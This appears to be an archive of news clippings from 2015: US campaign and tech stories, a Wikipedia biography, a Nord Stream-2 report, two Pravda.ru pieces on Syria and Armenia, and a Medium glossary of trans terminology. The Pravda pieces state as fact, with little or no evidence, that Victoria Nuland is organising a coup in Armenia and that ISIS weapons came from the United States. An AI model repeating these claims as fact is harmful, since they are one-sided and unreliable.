Yep, that's right. The White House just promoted the Iran Deal with an NWA meme. It's just the latest example of how politicians are trying to tap younger supporters by pandering to them shamelessly, often to tragically ludicrous effect.
In a statement to Buzzfeed, which inspired the not-so-inspired ''Straight outta '...'' meme, a White House official said, ''To the extent this tweet reaches audiences that our more traditional tweets have not, it will have accomplished the intended objective, especially if it spurs them to learn more about the deal.''
In that case allow us to suggest another tweet for @TheIranDeal: ''Remember when Kim dumped Kris for Kanye and it was a totally good idea and then they had Nori? Aw! And now Kim's pregnant again? Yay! So, the Iran Deal's gonna be just like that!''
That's more than 140 characters you say? There's always Instagram!
Go Back to Top. Skip To: Start of Article.Campaign season took on a new level of strange today'--and you know it's already been pretty darn strange'--when Hillary Clinton's social media team asked followers on Twitter, Facebook, and Instagram to explain how student debt makes them feel in three words or less. Well, not exactly words.
The stunt was a way to promote Clinton's newly announced college affordability plan. And it only sort of worked. Some people were genuine:
Some were genuinely insulted:
And some were genuinely incoherent:
Emoji: for when you're truly at a loss for words.
Go Back to Top. Skip To: Start of Article.Hillary Clinton speaks to journalists after a town hall meeting in Nashua, New Hampshire, July 28, 2015. Melina Mara/The Washington Post/Getty ImagesDemocratic presidential hopeful Hillary Clinton has agreed to hand over her private email server to the FBI for examination after government investigators claim that two emails that passed through it contained classified information.
That info referenced satellite images and electronic communications, according to the Washington Post, and was reportedly found in emails originating from the CIA.
Although the National Geospatial-Intelligence Agency says the information was classified, a State Department spokesman disputed this, saying that the top-secret designation was merely a recommendation and that the CIA information had not been marked classified at the time the emails were distributed. What's more, the official said, State Department staffers had ''circulated these e-mails on unclassified systems in 2009 and 2011'" before some of them were forwarded to Clinton, who was secretary of state at the time.
The public learned in March that Clinton had maintained a private email server from her New York home during her tenure as secretary of state throughout President Obama's first term in office.
''I saw it as a matter of convenience,'' she said at the time. Because she couldn't send personal emails on her government-issued phone, she set up the server using as the domain to conduct personal correspondence.
Clinton has been accused by Republican lawmakers of using the server to hide her activity as secretary and bypass public records requests. She resisted handing over the server in March saying that it contained personal correspondence with her husband, former President Bill Clinton.
''I believe I have met all of my responsibilities, and the server will remain private,'' she told reporters in March.
She did, however, turn over two thumb drives to the State Department containing about 30,000 emails that she said held work-related information. It was among a sampling of about 40 of these emails that investigators say they found the two emails containing classified information. The two thumb drives will now be turned over to the FBI for examination, along with the email server.
Go Back to Top. Skip To: Start of Article.Lawrence Lessig. Jimi Celeste/Patrick McMullan/Sipa USAHarvard Law School professor Larry Lessig has announced a pretty bonkers plan to extract big money from politics, and it might involve him running for president. You know, if no one better comes along.
By ''referendum president,'' Lessig means a president that runs on one issue and one issue only. In this case, the issue is campaign finance reform. Last year, Lessig launched a Super PAC called Mayday PAC that backed candidates who supported these reforms. Now, he's taking that idea one step further.
It'll work like this: Lessig is asking the public to contribute to a crowdfunding campaign to end what Lessig calls a ''rigged system.'' If the campaign raises $1 million by Labor Day, and if none of the Democratic candidates agree to make campaign finance reform a core issue in their campaigns, then Lessig will run for president. If he wins, he promises to serve for as long as it takes to pass reforms, before handing the reigns over to his vice president.
''No doubt, there should be someone better than me,'' he says in the video'--a phrase that has most certainly never been uttered in a presidential campaign announcement video. ''This campaign is not about a person. It's about a principle'--an American principle that we must reclaim.''
This campaign isn't really about winning the presidency, either. Instead, it's about bringing the issue of corporate involvement in government to the forefront. ''Until it is fixed,'' Lessig says, ''no sensible reform is even possible.''
Check out Lessig's full video below:
Go Back to Top. Skip To: Start of Article.Who did you watch the debates with last night? Probably not Hillary Clinton! Or Kimye, for that matter. Earlier in the evening, Kardashian posted saying she was on her way to meet the ''our next President'' and hoped she would get a selfie with her, and lo and behold:
It wasn't just a private party of three, of course. This was Justin Bieber manager Scooter Braun's fundraiser for Clinton, and other famous guests included Usher, Kris Jenner, and Jason Collins. Clearly, this year's election trend is a selfie with Hillary. Or rather, a Hillfie.
Go Back to Top. Skip To: Start of Article.Defense is a perennial topic in any presidential election season. But during the first Republican debate in Cleveland tonight, the candidates fought not about increasing the number of troops and tanks on the ground, but about how to enhance the country's cyber security.
It started off with Carly Fiorina'--widely considered the winner of the night's earlier debate for the lower-polling GOP contenders'--calling for companies to tear down the so-called ''cyberwalls'' that prevent the government from accessing data from companies like Google and Apple. Fiorina argued that these barriers make it difficult for security agencies to ''connect the dots'' around potential risks.
''I certainly support that we need to tear down cyberwalls,'' Fiorina said, ''not on a mass basis but on a targeted basis.''
And while ISIS was certainly positioned as enemy No. 1 throughout the debate, candidates also discussed recent hacks allegedly carried out by Russia and China as a key threats to national security. During the second debate for the top ten contenders, Texas Sen. Ted Cruz said these attacks amounted to acts of cyberwar.
Meanwhile, the most talked-about moment of the night, according to Facebook's data, was when New Jersey Gov. Chris Christie and Kentucky Sen. Rand Paul faced off over the issue of government surveillance.
While Paul stood his ground as a diehard opponent of government collection of public records, Christie said his experience as US Attorney of New Jersey in the aftermath of September 11th convinced him of the importance of surveillance. As president, Christie said he would push to provide even more tools to these agencies.
No matter where the candidates stood, one thing was clear: cyber security is the new national security.
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Tonight's GOP presidential debate was heavy on incendiary comments from Donald Trump but low on memes. There was, however, one glimmer of hope: the forthcoming fake Chris Christie smooth jazz album.
During an exchange with Sen. Rand Paul about bulk collection of phone records under the Patriot Act, the New Jersey governor defended himself against Paul's comment that he gave President Obama ''a big hug'' by saying, ''You know, Sen. Paul, the hugs that I remember are the ones I gave to the families who lost their people on Sept. 11.''
Soon after the exchange, comedian Patton Oswalt asked the Internet to turn The Hugs that I Remember into a smooth jazz album. Naturally, the Internet delivered. Check out the best offerings above.
Go Back to Top. Skip To: Start of Article.There will tweets. There will be liveblogs. There will be thinkpieces. It's the GOP debate tonight'--and everyone on the Internet will have a whole lot to say.
One more way to weigh in: The Washington Post is inviting anyone on the Internet to annotate the numbers, the zingers, the truths, and the lies that make their way onto the permanent record.
The Post is working with Genius (formerly Rap Genius) to let readers annotate the running transcript of the debate published on the venerable newspaper's site. Genius will provide the tech overlay that will allow anyone to highlight, annotate, and comment on the words of Trump, Bush, Cruz, and the debate's seven other participants.
''We're hoping for a civil, constructive discussion,'' Cory Haik, the Post's executive director of emerging news products, says. The Post's reporters will be adding their own fact-checking and commentary to the transcript, as well.
Real GeniusThis isn't the first time the Post has run transcripts alongside major political events. ''They do really well for us, particularly on social and search traffic,'' Haik says. But while in the past the Post has spent the night post-debate poring over the record, tonight they'll do it in near real-time with the help of the crowd.
''It's cool to read the primary source with the added level of information,'' says Ilan Zechory, Genius' co-founder and president. As with the lyrics that Genius was first launched to annotate, commentators will be able to pull out the ''hidden messages, meanings, lies, and exaggerations'' that will saturate the debate, Zechory says.
To be sure, the Post will be moderating annotations to ensure that they meet the site's standards of decency. However, it's up to Genius' system to determine, which comments get shown and how. Zechory says Genius offers a kind of ''upvote'' system to highlight the best content when possibly thousands of users will be weighing in at wants. Genius also prioritizes verified users, such as Post reporters or politicians who might chime in.
''As a political junkie,'' Zechory says, ''I'm excited to watch the carnival.''
Go Back to Top. Skip To: Start of Article.Snapchat really wants to be the Next Big Thing in political advertising, and, so far, it's had some middling success. But its latest political ad, which launched today, is just plain bizarre. It's also completely genius '... in an evil kind of way.
Sponsored by an organization called Secure America Now, a conservative foreign policy nonprofit, the ad appears to users not as a video, but as a filter'--the decals Snapchat users can slap on a photo or video before sending it. Framed by that filter, users are supposed to take a picture that reflects how they feel ''about the bad Iran deal.''
Weird, right? Snapchat is full of kids and isn't known as a hub of discussion on international relations. But the genius here is that the filter gives all those fresh-faced young 'uns a reason to become the ad'--and to spread it by broadcasting the message to their friends.
Snapchat has been running other video campaign ads this election season, but the Iran deal ad is the first in filter form. It's only available to users in Ohio in advance of tonight's debate in Cleveland. And, according to Vincent Harris, the consultant who designed the campaign for Secure America Now, it's already being used ''more heavily than I even expected it to be.''
''Snapchat is the primary source of information for a lot of younger voters,'' Harris says. ''So it's the best way to actually educate younger voters about large issues like this.''
Of course, not everyone is happy with Snapchat over what they perceive as the platform taking sides. That, or, you know, they just don't care all that much about Iran.
Go Back to Top. Skip To: Start of Article.If Facebook users'--which is to say, most of us'--had their way, the GOP candidates taking the stage during the debate tonight would have an honest and open conversation about race.
And also, they'd all ride into Cleveland on winged unicorns.
That type of discussion is, of course, unlikely, but according to new data released by Facebook today, race relations were the most talked-about political issue on the site during the period between May 29th and July 28th of this year. In second place was Mexico, followed by the economy, LGBT issues, and immigration. The rankings are based on how many posts, likes, shares, and comments these topics have received.
Facebook, which is co-sponsoring the debates with Fox, provides the network with this data, but that doesn't mean the moderators will adjust their questions accordingly. Still, they might be wise to. With hundreds of millions of daily active users in the US, Facebook has become a new barometer of public sentiment. And while the Republican candidates have been more than willing to share their thoughts on marriage equality, the economy, and immigration, race is one topic that'--with a few exceptions'--they've skirted almost entirely.
It's no wonder, then, that a discussion on race is precisely what the public craves.
Go Back to Top. Skip To: Start of Article. Getty ImagesIf you weren't planning on watching the Republican debates tonight, perhaps this will convince you to reconsider. Food delivery startup Eat24 is launching a very special debate night promotion: every time Donald Trump says ''Mexico,'' you get a free taco.
That is, every time he says ''Mexico,'' Eat24 will post a $5 coupon code to Twitter, enough to cover the cost of a taco, or, you know, any other food item under $5. ''We believe in freedom of the belly, so it's totally up to you,'' the company wrote in a blog post, which is essentially a backhanded jab at Trump's now infamous comments about Mexican immigrants.
Democracy has never sounded so delicious.
Go Back to Top. Skip To: Start of Article.The Republican party is pretty well doomed if doesn't do more to embrace Hispanic voters, according to a new web tool released by the Mark Zuckerberg-backed advocacy group, which pushes for immigration reform. The tool aggregates both population and voter data to show how an influx of Latino and Asian American voters will sway elections in the future, potentially costing the GOP future victories if it fails to soften its stance on immigration issues. also created a new web app, 2016 Candidate Tracker, that monitors and organizes everything that both Democratic and Republican candidates say about immigration.
Zuckerberg and fellow tech entrepreneurs founded in 2013. Fixing the dysfunctional US immigration system is an issue dear to Silicon Valley, which depends heavily on foreign workers.
Go Back to Top. Skip To: Start of Article.Democratic Presidential hopeful and former Secretary of State Hillary Clinton calls for an end to the Cuban trade embargo as she gives a policy speech at the Florida International University on July 31, 2015 in Miami, Florida. Joe Raedle/Getty ImagesAirbnb pushed into Cuba back in April, shortly after President Obama announced the start of normalized relations with the Latin American country. And now, Hillary Clinton wants other tech companies to follow.
Today, during a speech at Miami's Florida International University, the former Secretary of State made a case for ending the long-standing embargo with Cuba, arguing that by isolating the country, America is ''strengthening the Castro's grip on power, rather than weakening it.'' And she made it clear that the Internet, and tech companies at large, have an important role to play in ending that isolation.
As Clinton noted, only about 5 percent of Cubans have access to the open Internet. ''We should make it clear, as I did as Secretary of State, that the freedom to connect is a basic human right, and therefore do more to extend that freedom to more and more Cubans,'' Clinton said.
She called on businesses to build joint ventures with Cuban companies and find ways to expand operations there. ''I'm told that Airbnb is already getting started,'' Clinton said, noting that Google and Twitter ''are exploring opportunities, as well.''
Go Back to Top. Skip To: Start of Article.At a Town Hall meeting in New Hampshire last night, Republican presidential candidate Chris Christie had a message for recreational marijuana users: enjoy it while it lasts, kids.
''I believe it should still be illegal,'' he said. ''If you're getting high in Colorado today, enjoy it until January 2017, because I will enforce the federal laws against marijuana as President of the United States.''
For Christie, who described himself as ''anti-marijuana,'' President Obama's lenient stance on states that have approved recreational marijuana laws amounts to ''lawlessness.''
''We have a federal law on the books that says marijuana is illegal in this country. Illegal. No ifs, ands, or buts about it,'' he said.
In New Hampshire, this stance was met with a round of applause. But fear not, tokers. Given the growing support of recreational and medical marijuana throughout the U.S., these threats aren't likely to give the New Jersey Governor's already weak polling numbers a boost.
Check out Christie's talk, below. The action starts around 1:34.
Go Back to Top. Skip To: Start of Article.Jeb Bush just discovered that there are not one, not two, but three movies in the Sharknado franchise, and he's having a little trouble coping.
In a new video, released by his campaign as part of a series called #JebNoFilter, the Republican candidate describes turning on the TV in his hotel to find a shark-infested world in which Ann Coulter plays Vice President to Mark Cuban's President.
''And then I find out, this is the third version of this,'' Bush says in a video that appears to have been recorded on a smartphone. ''Please help me. Give me some information on what's going on. I'm culturally illiterate, apparently.''
We know just how you feel, Jeb. And that's the point. This clever campaign move is what we like to call the Mitt effect. It's pretty widely agreed that Mitt Romney was never more likable than he was in the post-election Netflix documentary Mitt, which captured the Republican candidate when he wasn't just shaking hands and kissing babies. For Romney, though, it was too late. Now, the Republican party is loading up on the #nofilter moments early. A bit corny, yes, but bless their little hearts for trying.
Go Back to Top. Skip To: Start of Article.Yesterday, Senate Majority Leader Mitch McConnell told constituents in Kentucky that the ''gender card alone'' wouldn't be enough to score Hillary Clinton a win in next year's presidential race.
In a Facebook Q&A later in the day, the Democratic candidate responded to McConnell's comment, arguing, ''There is a gender card being played in this campaign. It's played every time Republicans vote against giving women equal pay, deny families access to affordable child care or family leave, refuse to let women make decisions about their health or have access to free contraception. These aren't just women's issues, they are economic issues that drive growth and affect all Americans.''
Clinton's savvy social media team then took that idea one step further, tweeting out a picture of a card that delineates all of those policy changes, accompanied by a new hashtag: #gendercard.
Go Back to Top. Skip To: Start of Article.Following similar comments made by President Obama, Hillary Clinton says that in order to ensure technology is creating jobs'--and not displacing them'--the country needs more training programs that can funnel low-income Americans into the tech-driven workforce.
''In an age of technological change, we need to provide pathways to get skills and credentials for new occupations and create online platforms to connect workers to jobs,'' she said in a speech on economic policy in New York City today. ''There are exciting efforts underway, and I want to support and scale the ones that show results.''
Those programs will be critical to lowering the youth unemployment rate, she said, in which some 6 million Americans between 16 and 24 years old are neither currently working nor in school. That unemployment rate is especially high among young black and Hispanic people. Training plays a role in helping people secure those jobs, but Clinton said we must also ensure that even as technology eliminates the need for some jobs, there are enough new ones to take their place.
''The best antipoverty program is a job, but that's hard to say if there aren't enough jobs for people to help lift themselves out of poverty,'' Clinton said.
To increase the number of available jobs, the former Secretary of State laid out a plan to offer businesses $1,500 in tax credits for every employee they hire and train.
Go Back to Top. Skip To: Start of Article.Economic growth doesn't just benefit from having more women in the workplace; it requires it.
That was Hillary Clinton's message to supporters in a speech on economic policy today in New York City. Clinton described a movement of women into the workforce that has effectively stalled in recent years. In the past, she noted, the United States ranked 7th among 24 country in terms of the number of women in the workforce. By 2014, however, the U.S. had dropped to 19th.
''We can't afford to leave talent on the sidelines, but thats exactly what we're doing today,'' she said. ''We not only shortchange [women] and their dreams, but we shortchange our country and our future.''
Clinton attributed this decline to the fact that other countries have adopted policies to support working mothers, like affordable child care and paid family leave. This was not the first time Clinton has argued for these family friendly policies as economic drivers, and as her campaign continues, you can be fairly confident it won't be the last.
Clinton also decried the ''outrage'' of women, particularly women of color, making substantially less than their male counterparts in the same jobs. ''For far too long these challenges have been dismissed by some as women's issues,'' Clinton said. ''Well, those days are over.''
Go Back to Top. Skip To: Start of Article.Democratic presidential candidate Hillary Clinton speaks at The New School on July 13, 2015 in New York City. Andrew Burton/Getty ImagesAdd Hillary Clinton to the list of labor advocates coming after the gig economy.
In her first major speech outlining her economic platform today at New York City's New School, the Democratic presidential candidate vowed to crack down on ''bosses misclassifying workers as contractors.'' The promise follows a wave of legal action that's been taken against companies like Uber recently, which argue that drivers should be compensated as employees.
Clinton, who emphasized the need to raise wages throughout her speech, said that businesses that allow people to make extra money by renting a spare room or driving their own car can often threaten solid labor practices. ''This on demand or so-called gig economy is creating exciting opportunities and unleashing innovation,'' she said, ''but it's also raising hard questions about workplace protection and what a good job will look like in the future.''
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Amy Walters - Wikipedia, the free encyclopedia
Thu, 10 Sep 2015 04:25
Amy Walters is a producer for Al Jazeera America's flagship program, "America Tonight" and a 15-year veteran National Public Radio reporter and producer.[1]
After graduating from Earlham College with a Bachelor's degree in English, Walters joined NPR's Middle East Bureau. In 2000 she joined the staff of Morning Edition in Washington, DC, then NPR's "All Things Considered," where she contributed to NPR's award-winning coverage of September 11th.[1]
In 2003, Walters moved to Los Angeles as a field producer for the network. Producing NPR's coverage in California and around the world. Walters covered the wars in Iraq and Afghanistan; the Arab Spring in Libya and Egypt; humanitarian and environmental disasters like the earthquake in Haiti; the BP oil spill; the aftermath of Hurricane Katrina; Governor Arnold Schwarzenegger's election, California's troubled prison system; and the death of pop legend Michael Jackson.[1]
Walters has produced a number of stories with NPR's Investigative Unit and correspondent Laura Sullivan, winning Peabody Awards, a DuPont-Columbia Award, and a Robert F. Kennedy Journalism Award for investigative journalism.
Duda slams Russia's second Baltic gas pipeline to Germany | EurActiv
Wed, 09 Sep 2015 14:12
Poland's conservative president yesterday (8 September) slammed a deal between Russian energy giant Gazprom, and several leading Western firms, to build a second gas pipeline under the Baltic Sea, saying it ignores Polish interests.
"Considering that an agreement was concluded on building Nord Stream-2, which completely ignores Polish interests, one must seriously question unity" in the 28-member European Union, President Andrzej Duda told delegates to an economic forum in the southern Polish mountain resort of Krynica, dubbed "Central Europe's Davos".
In June, Gazprom agreed with Anglo-Dutch Shell, Germany's E.ON and Austria's OMV to build the new gas pipeline -- dubbed Nord Stream-2 -- to Germany, bypassing conflict-torn Ukraine, but also EU neighbour Poland.
>>Read:Germany helps Russia bypass Ukraine via 'Nord Stream 2'
The route under the Baltic Sea would have a capacity of 55 billion cubic metres per year and would double the flow of the existing Nord Stream pipeline currently linking the two countries.
No timeframe was given for the deal that will boost Germany as a distribution hub for Russian gas in Western Europe, but undermines Poland's role as a transit state.
Polish politicians from across the political spectrum have long opposed Nord Stream, claiming it undermines Poland's energy security stemming from its role as a transit country for Russian gas via the Yamal-Europe pipeline.
The Nord Stream-2 announcement comes as Moscow seeks more gas delivery routes to the EU that bypass Ukraine, despite the EU's insistence that it wants to cut its dependence on Russia.
Russia and the West are locked in a bitter standoff over the Kremlin's role in Ukraine, and a gas dispute between Kiev and Moscow has threatened energy supplies to the EU.
Russian troops in Syria: What are they doing there? - English
Thu, 10 Sep 2015 05:04
The rumors about Russia's participation in the Syrian conflict appeared in the press and social media several days ago. According to Ukrainian media outlets, Russia has already lost more than a hundred soldiers in Syria.
Needless to say that the Ukrainian media today are an endless source of fakes, especially when it goes about Russia. However, where did the rumor of the Russian troops in Syria come from?
The rumor started with a few "anonymous Israeli sources." "According to unconfirmed reports that leaked to Israeli press, under the pretext of resuming suspended supplies of Russian aircraft to Syria, a squadron of Russian aircraft was deployed at an air base near Damascus."
"Unconfirmed leaked reports in the Israeli press" is, of course, a new genre, and maybe even a new kind of journalism.
The supplies of Russian military hardware to Syria is an "open secret." That is, Russia has never made a secret of those supplies, and the Russian Foreign Ministry has made quite a number of statements about it. Russia supplies weapons to Syria to assist the country in the struggle against terrorism. Everything is being done by mutual agreement legally, within the framework of international agreements.
The British media took up the rumor of the Russian troops in Syria. British publications distributed a video of alleged Russian troops taking part in combat actions on BTR-82a armored vehicles. The video was of very dubious quality, along with the Russian-language audio track.
Russian bloggers swallowed the bait from British tabloids. Some of them (Ruslan Leviev, for exmaple) published an investigation report complete with photos and screenshots from military social networks, finally concluding that there were Russian troops in Syria.
Well, there are Russian troops in Syria, because someone has to maintain Russian military hardware and teach Syrian military men how to use and handle the equipment.
The blogger concluded his report with the following: "Based on the above, our team believes that the group of Russian naval infantry in Syria is protecting and reinforcing a base in Tartus and defending an air base near Latakia. We believe that the group does not take part in combat actions, although we believe that Russian military equipment does take part in the fighting."
Deploying hardware in Syria is legal. The presence of operating personnel for this hardware is legal and required as well. All that is called "international efforts to combat terrorism."
All of a sudden, Ukrainian media came up with a report about 103 Russian military men who were killed in the fighting in Syria. Freelance adviser to the Minister of Information Policy of Ukraine, Alexander Briginets, making references to "anonymous sources," stated that there are recruiters among terrorists, who recruit people for army service in Syria.
At the same time, as it turns out, a little more than a hundred soldiers were indeed killed in the fighting in Syria, but they were Syrian, not Russian military men. Interestingly, the information about the Syrian military can be found on Press TV following the link from Ukrainian publications.
What was the point of the campaign? Quite possibly, the "Russians in Syria" rumor was started to give US Secretary of State John Kerry a reason to speak about the threat of the escalation of the Syrian conflict in a telephone conversation with his Russian counterpart Sergei Lavrov. The buildup, if real, "could further escalate the conflict, lead to greater loss of innocent life, increase refugee flows and risk confrontation with the anti-ISIS Coalition operating in Syria," Kerry told Lavrov in a phone conversation.
This is another attempt to accuse Russia of aggression and war-flaming. Is the West going to blame Russia now for NATO's failure in the regulation of the Syrian conflict? Noteworthy, the weapons of ISIS fighters came straight from the United States.
Still, the reaction from the US State Department in the form of one phone call from Mr. Kerry does not seem resolute. This may suggest that US officials realize their defeat in the region. At the same time, they will do everything possible to avoid responsibility for the bloodbath in Syria.
Read article in Russian on
Cookies lady Nuland starts jolly good revolution in Armenia - English
Thu, 10 Sep 2015 05:05
AP photo
The police brutally dispersed an unauthorized rally in Yerevan, the capital of Armenia. The current protests in the former Soviet republic of Armenia are led by "No to Robbery" civil initiative. Western and Ukrainian media write that Armenia is another country to experience the "revolution of dignity." The fifth column is working from inside the government of Armenia.
Formally, the protests in Armenia started after the authorities raised tariffs on electricity at the request of the company Electric Networks of Armenia (a subsidiary of Russia's OAO Inter RAO UES). Last week, the State Commission for Regulation of Public Services of Armenia raised the price per kilowatt of electricity in Armenia by 6.93 drams (about 5.7 rubles, vs. the previous 4.8 rubles, or 42 drams). The new tariffs will take effect from 1 August.
The information war against JSC Electric Networks of Armenia is based on the assertion that the company has accumulated a debt worth $250 million due to inefficient and even criminal management. It was said that the company wanted to lay the burden of the debt on the shoulders of Armenian taxpayers. These accusations come from both the government and the opposition. The latter saw a conspiracy between the government and JSC ENA. "Embezzlement and violations at JSC Electric Networks of Armenia took place at the direction of or with the approval of Armenian authorities," the Armenian National Congress (ANC) said in a statement, reports.
Representatives of the Armenian National Congress stressed out that the lion's share of the debt of the company expanded the shadow budget of the country that was several times the size of the state budget of Armenia. To crown it all, it is Armenian President Serzh Sargsyan who controls the shadow budget, ANC claims.
Also read: Russia and Armenia draft their roadmap before 2020
The statement also says that all of Armenia's existing problems can be solved by overthrowing the government. "The regime will become weak and impotent, if the society consolidates and starts fighting against it," representatives of the Armenian National Congress said.
This looks like a jolly good scenario of revolutions in Ukraine and other post-Soviet states, does it not?
Victoria Nuland brings cookies of revolution to ArmeniaSurprisingly, it was Armenia's Energy Minister Yervand Zakarian, who accused the Russian company of embezzlement. Does it mean that the Armenian government condones theft? Such a government must resign, and it will happen so in Armenia unless President Serzh Sargsyan rethinks his cabinet. Obviously, there is a fifth column working in the Armenian government. The active work was launched soon after cookies lady Victoria Nuland paid a visit to Yerevan. Paul Craig Roberts, formerly an official with the Reagan administration, said in an interview with the Yerevan Geopolitical Club public organization that Nuland had visited Armenia to organize a coup there. According to Roberts, Armenia would be the scene of a coup similar to the one that happened in Ukraine in 2014. The goal of the funding of Armenian NGOs is to take people to the streets and bribe politicians. Armenia would be destroyed to become a vassal state. Afterwards, there will be Kazakhstan, Uzbekistan and Kyrgyzstan. In all of these post-Soviet countries, Washington will build its army bases, Paul Craig Roberts said.
Interestingly, the day after Nuland's visit, the Armenian government finally approved the sale of the cascade of Vorotansky hydro-electric power plants to US-based company ContourGlobal. The deal was evaluated at $180 million. The contract came as a highly important political significance, Naira Hayrumyan wrote for Firstly, the deal reduces the influence of Russia that owns Armenia's entire energy sector. Secondly, it creates a good basis for the growth of US influence in Armenia. Experts warned that the deal would lead to higher prices on electricity, and so it happened.
Why does Armenia cooperate with NATO being Russia's close ally?Hayrumyan also wrote that Nuland and the Armenian government decided to create an anti-corruption council, headed by Armenian Prime Minister Hovik Abramyan to "cleanse" the ranks of Armenian officials and study the work of Russian state companies owning Armenia's large national assets.
Also read: Russia protects Armenia from Western influence
Armenia and its president chose the Eurasian Economic Council as a prime vector of development. Armenia is a member of the CSTO (Collective Security Treaty Organization), but why does it hold meetings with Georgia and NATO? Why do they hold NATO seminars in Yerevan and train Armenian officers at NATO courses?
"Armenia did not enter the EAEC voluntarily, it was not a sovereign decision of either he Armenian people, or the authorities, it was imposed on Armenia by Russia," senior expert at the Center for Regional Studies, David Shahnazaryan said at Rose Road seminar that the NATO Parliamentary Assembly is holding in Yerevan these days.
The above is not just a statement, but a point of view of so-called supporters of Armenia's sovereignty in the government of the country.
"The scheme of protests is just like it was in Kiev, where American comrades were staging such situations through the hands of local proteges, - Sergei Shakaryan, a political scientist, an independent expert told Pravda.Ru. - But the fact is that the whole country is raging about the raised electricity tariffs. I am confident that these decisions are ungrounded from the point of view of economy. In Armenia, prices on electricity are the lowest on post-Soviet space. This is the electricity generated by nuclear, hydroelectric and heating power plants that operate on natural gas, which Armenia buys from Russia at reduced prices."
Lyuba Lulko
Read article on the Russian version of Pravda.Ru
Real Talk With Trans People '-- Matter '-- Medium
Thu, 10 Sep 2015 03:41
Real Talk With Trans PeopleHow to be an ally.By Leela GinelleIllustrations by Rory Midhani
Words can cut, like knives slicing open wounds. For transgender folk, loaded lingo has long made us feel unseen and unwelcome. Now there's a growing acceptance that we all need to stop using words that reduce trans people to their clothing (''transvestite'') or their genitals (''transsexual''), or that are plain offensive (''tr-nny'').
But words can also be like thread and pull us closer together. So what should a non-trans person say and know? This timely guide can help you master pronouns and avoid trampling on trans people's privacy and feelings. Let's do this!
AMAB, AFABThese acronyms stand for ''Assigned Male at Birth'' and ''Assigned Female at Birth.'' Trans folks prefer ''assigned'' (or sometimes ''designated'') over phrases like ''born a man'' or ''female to male,'' which imply, wrongly, that those identities were ever correct. Nope. Genitals aren't gender, plain and simple.
Shit Cis People Say:''Chloe used to be a man,'' ''David was born a woman,'' or ''Desiree's a male to female transsexual.''
''Bathroom Bill''A public restroom can be a unique form of hell for trans men and women, a place ripe for misunderstandings and harassment. Some conservative lawmakers are trying to amp up the awkwardness by supporting so-called bathroom bills, a pejorative term for legislation intended to force people to use the toilets corresponding to their assigned gender. So far these efforts have all failed, but new bills seem to pop up like weeds. Let's keep it classy, friends, and not criminalize the need to pee.
Extra Credit:Check out the #wejustneedtopee hashtag on Twitter, and share your support by signing petitions against these bills.
CisgenderIf you're AMAB and still identify as male, ch-ching'Š'--'Šyou're cisgender! You can collect your winnings in the Gender Identity Privilege Lottery. Cisgender's a fairly new term, but it's legit'Š'--'Šit made the Oxford English Dictionary this year. Cis is a companion term to trans, like heterosexual is to homosexual, but cis and trans refer strictly to gender. Knowing someone's gender identity tells you nothing about who they crush on.
In a Sentence:I'm a white, cisgender male. I apologize for the patriarchy.
Dead NameThe name a trans person is given at birth. Trans folk don't like being asked about their dead name once they've chosen a new, more appropriate one as part of their transition. Dead names die hard, though, and often zombie their way back into trans people's lives through old IDs, junk mail and birth certificates.
Shit Cis People Say:''What did you used to be called?'' . . . ''What's your real name?'' . . . ''Who were you before?''
ErasureMainstream society has found a million ways to not see us for who we are'Š'--'Šwhat some call erasure. It's in the ubiquitous ''male'' or ''female'' checkboxes on application forms. It's present all over Hollywood, too, as in the upcoming Stonewall movie, which reinterprets trans women of color as hunky, white Ken dolls on screen. We land robots on asteroids, but brown trans women are too much for our brains to comprehend? Mmkay.
In a Sentence:Erasure is Jon Stewart making a billion pro-gay jokes while being transphobic the whole time.
Femme, Butch, Androgynous, Feminine of Center, Masculine of Center, etc.These terms capture different kinds of gender expressions: the ways we communicate our sense of self through grooming and clothing, which can range from the high femme (heels, skirts, piles of makeup) to the hyper masculine (camo pants, button down shirts, short hair). Let's learn these terms and make room for everyone's inner diva.
In a Sentence:I identify as female, but I'm not femme-y. My gender expression is masculine-of-center.
Gender-confirming SurgeryDon't say sex change'Š'--'Šthat sounds sensational. Don't say gender reassignment; that's too weirdly clinical. What's important is we're confirming an identity we already know to be correct. Ok, moving on: for trans women, a vagina is created through the inversion of penile tissue. For trans men, a graft of skin, generally taken from the forearm, is constructed into a phallus.
Play it cool:Don't ask your trans friends about surgery unless they invite you to. There's a reason we call them private parts.
HRT, E & Spiro, TSome trans folk use hormone replacement therapy (HRT) to alleviate gender dysphoria. Trans women who use hormones generally take estrogen and the testosterone-blocking drug spironolactone (or ''e'' and ''spiro''), while trans men take injectable testosterone (or ''t''). It takes a few months for HRT to start showing effects, but most trans folk express immediate relief upon starting.
In a Sentence:Trans men don't need to take an estrogen blocker because t just overrides their estrogen. Sigh'... even our hormones obey the patriarchy.
Laser & ElectrolysisOn the road to transition, many a rocky stretch is made of hair. For trans women to lose their stubble, they turn to laser hair removal or electrolysis, both of which can be extremely time-consuming, expensive and often torturous.
In a Sentence:I survived 200 hours of electrolysis, but the pain was so intense it felt like a scene out of Zero Dark Thirty.
MisgenderingPronouns are super important for trans folk. Like crazy important. Misgendering'Š'--'Šthe act of referring to someone by the wrong pronoun'Š'--'Šcan seem like an honest mistake, but to a trans person it can feel like PTSD-level bullying. When in doubt about what pronoun someone goes by, just ask, ''Which pronouns do you prefer?'' Don't guess. For a gold star, offer up your own pronouns, too.
Shit Cis People Say:''Oops, but you can see how I'd make that mistake'''... ''Uh, I meant 'she''''... ''Argh, sorry, this is just so confusing for me.''
Non-Binary or GenderqueerNB and GQ folks, including celebs Miley Cyrus and Ruby Rose, locate their genders outside the categories of male and female. They often use either first-person plural pronouns (they, them) or less common ones (ze/zir, ne/nem). These identities are already big in adolescent and college queer scenes.
In a Sentence:I want to attend college at a place like the University of Vermont, which lets me be genderqueer in its records and recognizes my pronouns.
TransitionA transition's the process by which a trans person moves from their assigned gender to their affirmed one. It's a journey, not a jaunt, and there's no ''one sizes fits all'' formula for how it unfolds. For instance, surgery's a priority for many trans folk, but about one in five express no desire for it. That said, transitions often start with a person coming out to family, friends, and co-workers, gradually changing their appearance, and, soon, selecting a new name.
Play it cool:Transitions are hyper-personal experiences, so a good rule of thumb is to only ask about someone's process if you're besties.
TransphobiaBias against transgender people can show up anywhere from a tasteless Caitlyn Jenner meme, to harassment on the bus, to an inability to find a job or apartment. Transphobia is bad news: one study found that one in six trans youth dropped out of school due to bullying, and 41 percent of trans folk had attempted suicide. Let's make it better, people!
Extra Credit:Perpetuate some transphilia by taking in some awesome pro-trans entertainment, like the show Sens8, the band Against Me!, or the film Tangerine.
**Leela uses the pronouns she/her**
